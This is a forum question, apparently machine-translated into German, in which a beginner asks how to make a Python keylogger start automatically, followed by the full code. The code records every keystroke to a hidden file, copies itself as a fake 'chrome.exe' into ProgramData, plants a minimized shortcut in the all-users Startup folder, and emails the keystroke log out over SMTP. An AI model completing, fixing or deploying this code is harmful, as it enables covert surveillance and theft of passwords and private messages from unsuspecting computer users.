ich bin neu in der Codierung, und ich brauche eine Art von Hilfe. Ich machte einfache "Keylogger", mit Beispielen von Google. Alles funktioniert gut, aber ich weiß nicht, wie Keylogger automatisch Autostart hinzufügen. Ich habe versucht, die Datei automatisch zu kopieren, nachdem sie zuerst mit Administratorrechten ausgeführt wurde, an das ausgewählte Ziel und dann eine Verknüpfung zum Autostart zu senden. Aber das Problem ist, dass jedes Mal, wenn ich den Computer neu starte, es Administratorrechte benötigt, so dass ich nur eine Warnung erhalte, über einen Fehler beim Starten eines Skripts und ein Skript, das in diesem Moment abstürzt. Ich denke es ist, weil Skript versucht jedes Mal Datei zum Autostart hinzufügen, auch wenn es bereits existiert. Hier ist der Code, wie Sie sehen können, habe ich versucht, ifexcept Blöcke, aber es ist immer noch nicht funktioniert, wie ich will :(Python; Keylogger läuft beim Start
import logging
from pynput.keyboard import Key, Listener
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import win32com.client
import pythoncom
import os
import pathlib
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True)
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True)
import shutil
srcfile = 'chrome.exe'
dstroot = 'C:\ProgramData\degid'
dstdir = os.path.join(dstroot, os.path.dirname(srcfile))
shutil.copy(srcfile, dstdir)
filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
if os.path.exists(filePath):
if os.path.isfile(filePath+'chrome.lnk')==False:
try:
desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
path = os.path.join(desktop, 'chrome.lnk')
target = r'C:\ProgramData\degid\chrome.exe'
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut(path)
shortcut.Targetpath = target
shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal
shortcut.save()
except:
pass
email_user = ''
email_password = ''
email_send = ''
subject = ''
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Hi there'
msg.attach(MIMEText(body,'plain'))
filename='C:\ProgramData\degid\degid.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('', 587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
log_dir =""
logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()